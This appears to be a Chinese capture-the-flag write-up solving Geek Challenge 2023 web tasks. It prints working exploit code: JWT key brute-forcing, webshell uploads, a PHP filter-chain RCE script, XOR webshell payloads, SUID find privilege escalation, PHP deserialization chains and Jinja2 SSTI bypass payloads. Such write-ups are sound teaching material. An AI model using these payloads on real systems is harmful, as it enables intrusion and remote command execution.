题目描述:快来找flag!(文件上传的目录为 “/upload”)

开题登陆界面,账号密码在源码中

极客大挑战2023 Web方向题解wp 全_第76张图片

极客大挑战2023 Web方向题解wp 全_第77张图片

登陆后有上传头像功能,但是user用户无权限上传头像。

极客大挑战2023 Web方向题解wp 全_第78张图片

直接改用户名为admin也无权限上传头像。身份校验方式是JWT。

极客大挑战2023 Web方向题解wp 全_第79张图片

极客大挑战2023 Web方向题解wp 全_第80张图片

密钥不知道,直接脚本爆破,得到密钥是yibao

import jwt

token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4"      # 题目中的 token
#password_file = "C:\\Users\\86159\\PycharmProjects\\pythonProject\\WEB-xxx\\JWT\\jwtpassword.txt"           # 密码字典文件
password_file = "../wordlist.txt"  # 枚举密码字典文件

with open(password_file,'rb') as file:
    for line in file:
        line = line.strip()                          # 去除每行后面的换行
        try:
            jwt.decode(token, verify=True, key=line, algorithms="HS256") # 设置编码方式为 HS256
            print('key: ', line.decode('ascii'))
            break
        except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError
                , jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
                jwt.exceptions.ImmatureSignatureError):              # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的
            print("key: ", line.decode('ascii'))
            break
        except jwt.exceptions.InvalidSignatureError:                 # 签名错误则表示密钥不正确
            print("Failed: ", line.decode('ascii'))
            continue
    else:
        print("Not Found.")

极客大挑战2023 Web方向题解wp 全_第81张图片

有了密钥就能伪造JWT了。

极客大挑战2023 Web方向题解wp 全_第82张图片

直接上马:

极客大挑战2023 Web方向题解wp 全_第83张图片

访问,getshell。访问不到,看了看上传界面源码,文件名是处理过的。。

极客大挑战2023 Web方向题解wp 全_第84张图片

先本地跑一下看看啦,php版本是8。本地可以跑出时间戳和文件名。

极客大挑战2023 Web方向题解wp 全_第85张图片

思路是上传成功后,马上本地查看时间戳。然后写php脚本生成时间戳前后30,一共60个文件名,直接burp爆破。

上传文件时大概的时间戳:

极客大挑战2023 Web方向题解wp 全_第86张图片

脚本如下:


function php_mt_seed($seed)
{
    mt_srand($seed);
}

//1700575026
for ($seed = 1700575000; $seed < 1700575056; $seed++) {
    php_mt_seed($seed);
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

    $newFileName = '';
    for ($i = 0; $i < 10; $i++) {
        $newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];
    }

    echo "\n".$newFileName;
}

?>

极客大挑战2023 Web方向题解wp 全_第87张图片

burp爆破结果如下:

极客大挑战2023 Web方向题解wp 全_第88张图片

访问,getshell。

极客大挑战2023 Web方向题解wp 全_第89张图片

ezrfi

题目描述:亲爱的Syclover,你能找到flag吗???

hint:有一步是rc4解密

开题,是一个基于PHP环境的文件读取功能界面。

极客大挑战2023 Web方向题解wp 全_第90张图片

源码里面有hint

极客大挑战2023 Web方向题解wp 全_第91张图片

抽象之hint文件在/var目录下。。。。

?file=/var/hint

极客大挑战2023 Web方向题解wp 全_第92张图片

secret为:

w5YubyBvd08gMHcwIG92MCDDlndvIE8ubyAwLjAgMC5vIMOWdjAgMHbDliBPdjAgT3fDliBvLk8gw5Z2TyAwXzAgMF9PIG8uTyAwdjAgw5ZfbyBPd28gw5Z2TyDDli5PIMOWXzAgTy5PIMOWXzAgMHbDliAwLjAgw5Z2w5Ygw5Z3MCBPdsOWIMOWdjAgT1/DliDDlnZPIMOWLk8gw5Z3MCBvd8OWIMOWLm8gTy5vIMOWXzAgMHbDliDDlndvIE93w5YgTy5vIE93TyBvX28gw5YuTyBvLm8gb3dPIMOWXzAgb3dPIMOWXzAgMHZvIG8uTyBPd8OWIE92byAwLsOWIMOWdjAgTy7DliAwLjAgMHfDliBvLsOWIG93byBvdzAgMHZvIMOWLm8gb3dPIG9fMCDDli5PIG9fbyBPd8OWIE8ubyBvdzAgw5ZfbyBvd28gw5YuMCDDlnZPIG9fTyBPLsOWIE92MCBPdzAgby7DliAwdjAgT3YwIE9fTyBvLk8gT3bDliDDlnYwIMOWXzAgw5Z3byBvd08gT19vIE93w5Ygby5PIMOWdk8gby4wIDBfMCDDll9vIG93TyBPXzAgMC7DliDDli5vIE8uTyBPdzAgT19vIMOWdjAgb3cwIMOWdjAgT18wIMOWdm8gw5Z2w5Ygw5ZfbyAwX8OWIMOWdm8gw5Z2w5YgMHcwIE92w5Ygw5YubyDDli4wIMOWLm8gb3ZvIMOWLjAgw5YuMCAwd28gb3dPIG8uTyAwd8OWIDB2MCBvd8OWIMOWdzAgw5YubyAwdzAgT1/DliBvX08gw5Z2byAg

base64解码一次:

Ö.o owO 0w0 ov0 Öwo O.o 0.0 0.o Öv0 0vÖ Ov0 OwÖ o.O ÖvO 0_0 0_O o.O 0v0 Ö_o Owo ÖvO Ö.O Ö_0 O.O Ö_0 0vÖ 0.0 ÖvÖ Öw0 OvÖ Öv0 O_Ö ÖvO Ö.O Öw0 owÖ Ö.o O.o Ö_0 0vÖ Öwo OwÖ O.o OwO o_o Ö.O o.o owO Ö_0 owO Ö_0 0vo o.O OwÖ Ovo 0.Ö Öv0 O.Ö 0.0 0wÖ o.Ö owo ow0 0vo Ö.o owO o_0 Ö.O o_o OwÖ O.o ow0 Ö_o owo Ö.0 ÖvO o_O O.Ö Ov0 Ow0 o.Ö 0v0 Ov0 O_O o.O OvÖ Öv0 Ö_0 Öwo owO O_o OwÖ o.O ÖvO o.0 0_0 Ö_o owO O_0 0.Ö Ö.o O.O Ow0 O_o Öv0 ow0 Öv0 O_0 Övo ÖvÖ Ö_o 0_Ö Övo ÖvÖ 0w0 OvÖ Ö.o Ö.0 Ö.o ovo Ö.0 Ö.0 0wo owO o.O 0wÖ 0v0 owÖ Öw0 Ö.o 0w0 O_Ö o_O Övo  

尊嘟假嘟解密一次:

Shy0JhFpsi+njV0IfFfzS44KIcwPFg312qo6gfdk0+DzcoMdSgVs15cERxpqnPJh4Y3b3i/mcbkPlHGTIA6/A8CQU8UX6j9w5HKy

这个应该就是需要rc4解密了,问题是没有密钥,根据所有题目信息,最后猜到密钥是题目描述中的Syclover

rc4解密结果:

文件包含逻辑是include($file.".py"),你能找到flag文件位置吗??

极客大挑战2023 Web方向题解wp 全_第93张图片

后端逻辑是include($file.".py"),我们可以利用php filter chain突破后缀"限制"

POC:

import requests

url = "https://o8psad59go93x7xvicykjqu7c.node.game.sycsec.com/index.php"
#可以读取到的文件
file_to_use = "/var/hint"
#要执行的命令
command = "cat /ffffffllllag"

#两个分号避开了最终 base64 编码中的斜杠
#
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "xxx",
    "file": final_payload
})

print(r.text)

极客大挑战2023 Web方向题解wp 全_第94张图片

SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}

EzRce【】

直接给了源码,waf暂时未知。

极客大挑战2023 Web方向题解wp 全_第95张图片

手测了以下貌似过滤单个字符和数字,那就无字母RCE。

查看phpinfo()

?data=("%0f%08%0f%09%0e%06%0f"^"%7f%60%7f%60%60%60%60")();

disable_functions有点多的。

image-20231123033441151

同时也有目录限制。

image-20231123033524591

读取waf文件highlight_file('waf.php')

("%08%09%07%08%0c%09%07%08%0b%01%06%09%0c%05"^"%60%60%60%60%60%60%60%60%7f%5e%60%60%60%60")("%08%01%06%01%0f%08%0f"^"%7f%60%60%2f%7f%60%7f");

image-20231110213458744

可用的单个字符就a、e、l、v

assert被禁用了,异或直接eval('$_POST[1]'),无法生效,$_POST[1]会被当成字符串处理。

image-20231123034027080

我们参考P神的payload:一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)

极客大挑战2023 Web方向题解wp 全_第96张图片

简单修改一下


$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
eval($___[_]); // eval($_POST[_]);
?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;eval($___[_]);

执行成功。

极客大挑战2023 Web方向题解wp 全_第97张图片

写到文件。

GET:?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;eval($___[_]);
POST:_=file_put_contents('17.php','');

极客大挑战2023 Web方向题解wp 全_第98张图片

蚁剑连接。(记得https改成http)【】

极客大挑战2023 Web方向题解wp 全_第99张图片

限制了/flag的读取权限。

极客大挑战2023 Web方向题解wp 全_第100张图片

可以利用find提权。

find / -perm -u=s -type f 2>/dev/null       //查看具有suid权限的命令
find / -perm -4000 2>/dev/null         //这个也可以

image-20231123040346885

语法:find [path…] [expression]

path为查找路径,.为当前路径,/为根目录

expression即为参数

-name: 按文件名查找文件

-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限

-user: 按照文件属主来查找

-size n: 文件大小是n个单位

-type:

d:目录
f:文件
c:字符设备文件
b:块设备文件
-atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录

-amin n: 查找系统最后n分钟内曾被存取过的文件或目录

-ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录

-cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录

-mtime: 查找系统中最后N分钟内曾被更改过的文件或目录

-mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录

-print: 将匹配的文件输出到标准输出

-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和\;之间的空格。

find提权获取flag:

find /tmp -exec cat /flag \;
find `which find` -exec cat /flag \;
find /etc/passwd -exec cat /flag \;

极客大挑战2023 Web方向题解wp 全_第101张图片

参考文章:

find基础命令与提权教程_find提权-CSDN博客

find 命令提权 - 内向是一种性格 - 博客园 (cnblogs.com)

SYC{ThE_RCe_is_S0_Eas1ly_DD!}

ezpython【】

题目描述:can you pollute me?

附件直接给了源码,一眼python原型链污染。

import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
    def __init__(self):
        self.username=""
        self.password=""
        self.isvip=False


class hhh(User):
    def __init__(self):
        self.username=""
        self.password=""

registered_users=[]
@app.route('/')
def hello_world():  # put application's code here
    return render_template("welcome.html")

@app.route('/play')
def play():
    username=session.get('username')
    if username:
        return render_template('index.html',name=username)
    else:
        return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
    if request.method == 'POST':
        username=request.form.get('username')
        password=request.form.get('password')
        user = next((user for user in registered_users if user.username == username and user.password == password), None)
        if user:
            session['username'] = user.username
            session['password']=user.password
            return redirect(url_for('play'))
        else:
            return "Invalid login"
        return redirect(url_for('play'))
    return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
    if request.method == 'POST':
        try:
            if waf(request.data):
                return "fuck payload!Hacker!!!"
            data=json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "连用户名密码都没有你注册啥呢"
            user=hhh()
            merge(data,user)
            registered_users.append(user)
        except Exception as e:
            return "泰酷辣,没有注册成功捏"
        return redirect(url_for('login'))
    else:
        return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
    user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)
    if user:
        if user.isvip:
            data=request.args.get('num')
            if data:
                if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
                        flag = os.environ.get('geek_flag')
                        return render_template('flag.html',flag=flag)
                else:
                    return "你的数字不对哦!"
            else:
                return "I need a num!!!"
        else:
            return render_template_string('这种神功你不充VIP也想学?

要不v我50,我送你一个VIP吧,嘻嘻

'
) else: return "先登录去" def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) if __name__ == '__main__': app.run(host="0.0.0.0",port="8888")

简单看了一下,在/register路由注册时进行污染,使得User()类的isvip=True

访问/register路由,注册按钮点不动。

极客大挑战2023 Web方向题解wp 全_第102张图片

源码给了hint:

极客大挑战2023 Web方向题解wp 全_第103张图片

极客大挑战2023 Web方向题解wp 全_第104张图片

那就直接传参注册:

极客大挑战2023 Web方向题解wp 全_第105张图片

解释一下如何污染:

__class__属性换成了user对象的所属的类(hhh)

__base__属性换成了hhh类的所属的直接父类(User)

极客大挑战2023 Web方向题解wp 全_第106张图片

参考文章:(主要是最后一篇)

【CTF】Python原型链污染_Luminous_song的博客-CSDN博客

Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖 (tttang.com)

Python原型链污染_python 原型链_Elitewa的博客-CSDN博客

注册时候,污染一波,过滤了isvip,使用Unicode绕过。

{"username":"222","password":"111","__class__" : {"__base__" : {"\u0069\u0073\u0076\u0069\u0070": "True"}}}

极客大挑战2023 Web方向题解wp 全_第107张图片

访问/flag路由,num使用Non-ASCII Identifies绕过。

?num=12345678

源码里面获得flag。

极客大挑战2023 Web方向题解wp 全_第108张图片

ez_php【】

开题,点击链接后跳转到源码界面:

极客大挑战2023 Web方向题解wp 全_第109张图片

好长


header("Content-type:text/html;charset=utf-8"); 
error_reporting(0);
show_source(__FILE__);
include('key.php');
include('waf.php');

class Me {
    public $qwe;
    public $bro;
    public $secret;

    public function __wakeup() {
        echo("进来啦
"
); $characters = 'abcdefghijklmnopqrstuvwxyz0123456789'; $randomString = substr(str_shuffle($characters), 0, 6); $this->secret=$randomString; if($this->bro===$this->secret){ $bb = $this->qwe; return $bb(); } else{ echo("错了哥们,再试试吧
"
); } } } class her{ private $hername; private $key; public $asd; public function __invoke() { echo("好累,好想睡一觉啊
"
); serialize($this->asd); } public function find() { echo("你能找到加密用的key和她的名字吗?qwq
"
); if (encode($this->hername,$this->key) === 'vxvx') { echo("解密成功!
"
); $file=$_GET['file']; if (isset($file) && (file_get_contents($file,'r') === "loveyou")) { echo("快点的,急急急!!!
"
); echo new $_POST['ctf']($_GET['fun']); } else{ echo("真的只差一步了!
"
); } } else{ echo("兄弟怎么搞的?
"
); } } } class important{ public $power; public function __sleep() { echo("睡饱了,接着找!
"
); return $this->power->seeyou; } } class useless { private $seeyou; public $QW; public $YXX; public function __construct($seeyou) { $this->seeyou = $seeyou; } public function __destruct() { $characters = '0123456789'; $random = substr(str_shuffle($characters), 0, 6); if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){ if((strlen($this->QW))<80 && strlen($this->YXX)<80){ $bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee'; if($bool){ echo("快拿到我的小秘密了
"
); $a = isset($_GET['a'])? $_GET['a']: "" ; if(!preg_match('/HTTP/i', $a)){ echo (basename($_SERVER[$a])); echo ('
'
); if(basename($_SERVER[$a])==='key.php'){ echo("找到了!但好像不能直接使用,怎么办,我好想她
"
); $file = "key.php"; readfile($file); } } else{ echo("你别这样,她会生气的┭┮﹏┭┮"); } } } else{ echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)
"
); } } } public function __get($good) { echo "you are good,你快找到我爱的那个她了
"
; $zhui = $this->$good; $zhui[$good](); } } if (isset($_GET['user'])) { $user = $_GET['user']; if (!preg_match("/^[Oa]:[\d]+/i", $user)) { unserialize($user); } else { echo("不是吧,第一层都绕不过去???
"
); } } else { echo("快帮我找找她!
"
); } ?> 快帮我找找她!

先给链子:

Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()->useless::__destruct()

我们实现RCE是在her::find()方法中,但是首先得先打一遍反序列化在useless::__destruct()获取密钥等信息。

所以我们需要打两遍反序列化,链子也可以是:

Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()->useless::__destruct()

Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()

然后我们根据类方法,一个一个分析绕过。


1、序列化字符串绕过!preg_match("/^[Oa]:[\d]+/i", $user)

卡了好久,只能说newbing牛逼几种反序列化漏洞-腾讯云开发者社区-腾讯云 (tencent.com)

// C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
$obj = new SplObjectStorage();
$obj->attach(new c());
echo serialize($obj);
echo '
'; // C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}} $obj = new SplStack(); $obj->push(new c()); echo serialize($obj); echo '
'; // C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}} $obj = new SplQueue(); $obj->enqueue(new c()); echo serialize($obj); echo '
'; // C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}} $obj = new SplDoublyLinkedList(); $obj->push(new c()); echo serialize($obj);

2、Me::__wakeup()处变量引用绕过随机字符串

$a->bro=&$a->secret;

3、实现useless::__get($good)->her::find()跳转

此步实现:$zhui[$good]();
即seeyou["seeyou"]();
即array(new her,'find')();

数组执行类方法

$arr1 = array(new her,'find');
$arr2 = array('seeyou'=>$arr1);
$a->qwe->asd->power = new useless($arr2);

极客大挑战2023 Web方向题解wp 全_第110张图片

4、useless::__destruct()处的md5判断,直接摘抄笔记了。

如果遇到:if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

可用:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

但是由于长度限制在80以内,故需要url解码一次。


5、useless::__destruct()的随机数判断:$random==='newbee',不用管

$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';

因为逻辑是and
优先级可以看作

【(】$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) 【)】 and $random==='newbee';

6、useless::__destruct()的文件名绕过限制

用任何一个不在URL显示并且不影响请求包含义的http头绕过就行,目前找到的只有Content-Type,有HTTP限制,不能用自己的和其他一些请求头。

?a=CONTENT_TYPE

Content-Type:key.php

极客大挑战2023 Web方向题解wp 全_第111张图片

7、坑点之无法生成序列化链子。

分析输出,只有在important::__sleep()方法后的echo才会输出,猜测这里执行了这个方法导致序列化字符串无法生成。。。

经过尝试,sleep改成construct就没问题了

image-20231126030905759


第一次EXP:



//一模一样CV下来
//...
//...
//...
$a=new Me();
$a->bro=&$a->secret;
$a->qwe = new her();
$a->qwe->asd = new important();
//useless::__get($good)->her::find()
$arr1 = array(new her,'find');
$arr2 = array('seeyou'=>$arr1);
$a->qwe->asd->power = new useless($arr2);

//md5
$a->qwe->asd->power->QW=urldecode('%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2');
$a->qwe->asd->power->YXX=urldecode('%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2');


$obj = new SplObjectStorage();
$obj->attach($a);
echo urlencode(serialize($obj));

源码中发现一堆编码:

/* 【xxx】 */

极客大挑战2023 Web方向题解wp 全_第112张图片

猜测是base64转图片,还真是。hername=momo,key=9

极客大挑战2023 Web方向题解wp 全_第113张图片

第二次EXP:



//一模一样CV下来
//her类中属性的private换成public
//...
//...
//...

$a=new Me();
$a->bro=&$a->secret;
$a->qwe = new her();
$a->qwe->hername='momo';
$a->qwe->key='9';

$a->qwe->asd = new important();
//useless::__get($good)->her::find()
$arr1 = array($a->qwe,'find');
$arr2 = array('seeyou'=>$arr1);
$a->qwe->asd->power = new useless($arr2);

$obj = new SplObjectStorage();
$obj->attach($a);
echo urlencode(serialize($obj));

剩下的直接用原生类执行命令。绕过file_get_contents($file,'r') === "loveyou"可用data伪协议。

payload:(DirectoryIterator找flag文件名)

GET:?user=【序列化字符串】&file=data://text/plain,loveyou&fun=glob://flag*

POST:ctf=DirectoryIterator

极客大挑战2023 Web方向题解wp 全_第114张图片

SplFileObject读取文件:

GET:?user=【序列化字符串】&file=data://text/plain,loveyou&fun=php://filter/convert.base64-encode/resource=flag_my_baby.php

POST:ctf=SplFileObject

极客大挑战2023 Web方向题解wp 全_第115张图片

极客大挑战2023 Web方向题解wp 全_第116张图片

klf_2【】

开题。

极客大挑战2023 Web方向题解wp 全_第117张图片

看源码:

极客大挑战2023 Web方向题解wp 全_第118张图片

起手robots.txt

极客大挑战2023 Web方向题解wp 全_第119张图片

访问路由

极客大挑战2023 Web方向题解wp 全_第120张图片

继续看源码,谢谢三叶草给了我无比强大的信息搜集意识。

极客大挑战2023 Web方向题解wp 全_第121张图片

OK,那就/secr3ttt路由GET传参klf,有反应。猜测是SSTI

极客大挑战2023 Web方向题解wp 全_第122张图片

暂且当作是jinja2模板,fuzz一波。

528长度的都是被过滤的,md真狠啊。

极客大挑战2023 Web方向题解wp 全_第123张图片

此外,还过滤了requestself~appopenread(是我字典不好)

nnd,直接上过滤器!!!!

简单测测,过滤器确实可行,之后应该还会有过滤。

{% set org = ({ }|select()|string()) %}{{org}}

极客大挑战2023 Web方向题解wp 全_第124张图片

过滤器骚操作如下,由于~被过滤了,所以只能用,|join进行拼接。

{% set po=dict(po=1,p=2)|join()%}  #po=pop
{% set a=(()|select|string|list)|attr(po)(24)%}  #_
{% set oo=dict(o=a,s=a)|join()%}   #os
{% set p=dict(po=a,pen=a)|join()%}  #popen
{% set ch=dict(ch=a,r=a)|join()%}  #chr
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}  #__init__
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}  #__globals__
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}  #__getitem__
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%} #__builtins__
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%} #__import__
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%} #__class__
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}  #__subclasses__
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}  #__base__
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%}  #jay17.__class__.__base__.__subclasses__()
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}  #利用os类提取chr函数,用于字符串拼接
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}  #利用os类提取popen函数,用于字符串拼接
{% set re=dict(re=a,ad=a)|join()%}   #read
{% set en=dict(en=a,v=a)|join()%}  #env
{% set fl=dict(fl=a,ag=a)|join()%}   #flag
{% set ta=dict(ta=a,c=a)|join()%}   #ta
{% set kgxg=(chhr(3),chhr(4))|join()%}   #空格/,用的是全角,不能完全全角,也可以自己构造。
{% set tf=(ta,kgxg,fl)|join()%}   #tac /flag
{% set ll=dict(l=a,s=a)|join()%}   #ls
{% set lll=(ll,kgxg)|join()%}   #ls /
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%} #ls /app
{% set ha=dict(ha=a,hahaha=a)|join()%}   #hahahaha
{% set th=(ta,chhr(3),ha)|join()%}   #tac hahahaha
{% set ym=(dict(ca=a,t=a)|join,chhr(3),dict(ap=a,p=a)|join,chhr(4),dict(p=a,y=a)|join)|join()%}  #cat app.py
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(4),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}#tac /app/fl4gfl4gfl4g
{% set cmd=pp(six)|attr(re)()%}  #执行命令








{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

极客大挑战2023 Web方向题解wp 全_第125张图片

payload:

/secr3ttt?klf={% set po=dict(po=1,p=2)|join()%}
{% set a=(()|select|string|list)|attr(po)(24)%} 
{% set oo=dict(o=a,s=a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set ch=dict(ch=a,r=a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%}
